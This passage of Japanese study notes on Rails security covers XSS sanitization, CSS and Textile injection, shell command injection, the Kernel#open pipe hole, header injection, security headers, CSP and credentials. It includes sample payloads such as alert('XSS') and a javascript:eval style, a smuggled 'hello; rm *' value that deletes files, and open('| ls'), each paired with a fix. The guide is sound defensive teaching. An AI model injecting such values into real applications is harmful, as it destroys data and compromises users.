tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))
-
html_escape()
メソッドまたはh()
メソッドで、HTML入力文字をエスケープしてから出力する。-
&
,"
,<
,>
を&
,"
,<
,>
に置き換える。
-
puts html_escape('is a > 0 & a < 10?')
# => is a > 0 & a < 10?
7.3.2.4 攻撃の難読化とエンコーディングインジェクション
- エンコーディングが異なるコード内に、ブラウザでは処理可能だがサーバーでは処理されないような悪意のあるコードが潜む脆弱性がある。
<!-- UTF-8による攻撃方法の例。メッセージボックスを表示する。 -->
<img src=javascript:a
lert('XSS')>
- 対策としては、
sanitize()
メソッドを使用する。
7.4. CSSインジェクション
- 以下のように、JavaScriptの
eval()
関数や改行を使うことで、CSSについて禁止していないアプリケーションに攻撃できてしまう。
<div
id="mycode"
expr="alert('hah!')"
style="background:url('java↵script:eval(document.all.mycode.expr)')"
>
7.4.1. 対策
- ユーザーがCSSを直接カスタマイズできるようなインターフェイスは避け、色や画像を選ばせるようにし、Webアプリケーション側でCSSをビルドするようにする。
-
sanitize()
メソッドを参考に、許可リストベースのCSSフィルタを作成する。
7.5. テキスタイルインジェクション(Textile Injection)
- RedClothというテキストをHTMLに変換するgemを使用する場合、XSSに対して脆弱になる可能性がある。
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
7.5.1. 対策
-
sanitize()
メソッドを参考に、許可リストベースのHTMLフィルタを作成する。
7.6. Ajaxインジェクション
-
in_place_editor
というgemや、アクションがビューをレンダリングせずに文字列を返すような場合は、ブラウザで表示されたときに悪意のあるコードが実行されてしまう可能性がある。 - 対策として、入力値を常に
h()
メソッドでエスケープする。
7.7. コマンドラインインジェクション
- WebアプリケーションからOSのコマンドを実行したい場合、Rubyでは以下の方法がある。
-
exec(コマンド名)
メソッド- 現在のプロセスを終了させて、外部コマンドを実行する。
exec("ls")
- 現在のプロセスを終了させて、外部コマンドを実行する。
-
syscall(コマンド名)
メソッド- システムコールを実行するために使用される。
syscall(39, "new_directory") # mkdirシステムコールの実行(システムコール番号はプラットフォーム依存)。通常はDir.mkdirを使用する
- システムコールを実行するために使用される。
-
system(コマンド名)
メソッド- 新しい子プロセスを生成して、外部コマンドを実行する。
system("ls")
- 新しい子プロセスを生成して、外部コマンドを実行する。
- バッククォート記法
`コマンド名`
puts `ruby -v` #=> ruby 1.8.6 (2007-03-13 patchlevel 0) [i386-mswin32]
-
- ほとんどのシェルでは、コマンドにセミコロン
;
や パイプ|
を追加して別のコマンドを簡単に結合できてしまうため、注意が必要。
user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# "hello"を出力し、ディレクトリ内のすべてのファイルを削除する
- 対策として、
exec(コマンド名, パラメータ)
メソッド,system(コマンド名, パラメータ)
メソッドなどを使用して第二引数を渡すことでエスケープする。
system("/bin/echo","hello; rm *")
# "hello; rm *" という文字列をそのまま出力する
# ;や*などの特殊なシェル記号は無視されるためファイルは削除されない
7.7.1. Kernel#open の脆弱性
-
Kernel#open
にパイプ|
で始まる引数を渡すと、OSコマンドを実行できてしまう。-
Kernel#open
は、引数によってFile.open
,URI#open
,exec
,system
などのように動作できる。
-
open('| ls') { |file| file.read }
# lsコマンドのファイルリストをStringとして返す
- 対策として、OSコマンドを実行しない以下のいずれかのメソッドを使用する。
-
File.open
- 引数にファイル名とファイルモードを指定し、ファイルをオープンする。
File
クラスのインスタンスを返す。
- 引数にファイル名とファイルモードを指定し、ファイルをオープンする。
-
IO.open
- 引数にファイルディスクリプタ(整数値)とファイルモードを指定し、ファイルをオープンする。
IO
オブジェクトを返す。
- 引数にファイルディスクリプタ(整数値)とファイルモードを指定し、ファイルをオープンする。
-
URI#open
- 引数にHTTPまたはHTTPSのURLを指定し、そこからデータを読み込む。
IO
オブジェクトを返す。
- 引数にHTTPまたはHTTPSのURLを指定し、そこからデータを読み込む。
-
File.open('| ls') { |file| file.read }
# lsコマンドは実行されず、単に`| ls`というファイルが存在すれば開く
IO.open(0) { |file| file.read }
# stdinをオープンするが、引数をStringとして受け取らない
require 'open-uri'
URI('https://example.com').open { |file| file.read }
# URLを開くが、`URI()`は`| ls`を受け取らない
7.8. ヘッダーインジェクション
- HTTPヘッダは動的に生成されるものであるため、特定の状況ではユーザー入力が注入されることがあり、リダイレクト、XSS、HTTPレスポンス分割攻撃が行われる可能性がある。
- 管理画面でUser-Agentを表示するケースなど。
- 対策として、
html_escape()
メソッドまたはh()
メソッドで、以下のフィールドをエスケープしてから出力する。-
Referer
- 現在リクエストされているページへのリンク先を持った直前のWebページのアドレス。
-
User-Agent
- アプリケーション、OS、ベンダーのバージョン等。
- ステータスコード
- HTTPリクエストが正常に完了したかどうかを示す。
-
Cookie
- サーバーによって
Set-Cookie
ヘッダーで送信され、保存されたHTTPクッキーを含む。
- サーバーによって
-
Location
- リダイレクト先のURLを示す。3xx(リダイレクト)、201(created)
-
8. 安全でないクエリ生成
9. HTTPセキュリティヘッダー
- Railsアプリケーションが生成するHTTPレスポンスには、以下のセキュリティヘッダーがデフォルトで含まれている。
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '0',
'X-Content-Type-Options' => 'nosniff',
'X-Download-Options' => 'noopen',
'X-Permitted-Cross-Domain-Policies' => 'none',
'Referrer-Policy' => 'strict-origin-when-cross-origin'
}
- デフォルトのヘッダー設定
config/application.rb
config.action_dispatch.default_headers = {
'Header-Name' => 'Header-Value',
'X-Frame-Options' => 'DENY'
}
- ヘッダーの除去
config.action_dispatch.default_headers.clear
- よく使われるヘッダーのリスト
-
X-Frame-Options
- Railsではデフォルトで
'SAMEORIGIN'
が指定される。- 同一ドメインでのフレームを許可する。
-
'DENY'
を指定すると、すべてのフレームが不許可になる。 - すべてのWebサイトについてフレームを許可するにはこのヘッダーを除去する。
- Railsではデフォルトで
-
X-XSS-Protection
- Railsではデフォルトで
'0'
が指定される。- 非推奨化されたレガシーヘッダー。問題のあるレガシーXSS監査を無効にするために
'0'
に設定する。
- 非推奨化されたレガシーヘッダー。問題のあるレガシーXSS監査を無効にするために
- Railsではデフォルトで
-
X-Content-Type-Options
- Railsではデフォルトで
'nosniff'
が指定される。 - このヘッダーは、ブラウザによるファイルのMIMEタイプ推測を停止する。
- Railsではデフォルトで
-
X-Content-Security-Policy
- 特定Content-Typeの読み込み元サイトを制御する。
- ホワイトリストに含まれるドメインから受信したスクリプトだけを実行する。
- ※ 現在は廃止されているため、
Content-Security-Policy
を使用する。
- 特定Content-Typeの読み込み元サイトを制御する。
Access-Control-Allow-Origin
Strict-Transport-Security
-
9.1. Content Security Policyヘッダー
- XSSやインジェクションによる攻撃を防ぐために、アプリケーションのレスポンスヘッダーにContent Security Policy(CSP)を設定することが推奨されている。
- Railsでは、このヘッダーを設定するためのDSLが提供されている。
config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.default_src :self, :https
policy.font_src :self, :https, :data
policy.img_src :self, :https, :data
policy.object_src :none
policy.script_src :self, :https
policy.style_src :self, :https
# 違反レポートの送信先URIを指定する
policy.report_uri "/csp-violation-report-endpoint"
end
- グローバルに設定されたポリシーは、リソース単位でオーバーライドできる。
class PostsController < ApplicationController
content_security_policy do |policy|
policy.upgrade_insecure_requests true
policy.base_uri "https://www.example.com"
end
end
- 以下で無効にできる。
class LegacyPagesController < ApplicationController
content_security_policy false, only: :index
end
- lambdaを使うと、マルチテナントのアプリケーション内のアカウントサブドメインなどの値をリクエストごとに注入できる。
class PostsController < ApplicationController
content_security_policy do |policy|
policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
end
end
10. 利用環境のセキュリティ
- config/database.ymlなどに置かれるデータベース接続設定や、config/secrets.ymlなど置かれるサーバーサイドの秘密鍵は、環境に合わせて複数のバージョンを使い分けることでアクセス制限をかける。
10.1 独自のcredential
- Railsは秘密鍵をconfig/credentials.yml.encに保存する。
-
bin/rails credentials:help
で詳細を表示できる。 - このファイルは暗号化されているため直接編集できず、編集するには、
bin/rails credentials:edit
を実行する。- config/credentials.yml.enc が存在しない場合は作成され、マスターキーが定義されていない場合は config/master.key が作成される。
- このファイルを暗号化するマスターキーとして、config/master.keyか環境変数
ENV["RAILS_MASTER_KEY"]
が利用される。 - このファイルはマスターキーが安全に保存されている場合に限り、GitHubリポジトリなどのバージョン管理システムに登録できる。
- デフォルトでアプリケーション固有の
secret_key_base
が含まれるが、外部API向けのアクセスキーなどのクレデンシャルも追加できる。
-
config/credentials.yml.enc
secret_key_base: 3b7cd72...
some_api_key: SOMEKEY # `Rails.application.credentials.some_api_key` #=> `"SOMEKEY"
system:
access_key_id: 1234AB # `Rails.application.credentials.system.access_key_id` #=> `"1234AB"`
11. 依存関係(dependencies)の管理とCVEについて
- 依存関係は手動で更新する必要がある。
- 脆弱性のあるgemの依存関係を更新するには、
bundle update --conservative gem_name
を使用する。
12. 追加資料
- Railsセキュリティ メーリングリスト
-
Brakeman - Rails Security Scanner
- Railsアプリケーションの静的セキュリティ解析を行うgem。
-
Mozilla's Web Security Guidelines
- Content Security Policy、HTTPヘッダー、cookie、TLS接続などの推奨事項が掲載されている。
- OWASPセキュリティブログ
- OWASPクロスサイトスクリプティング チートシート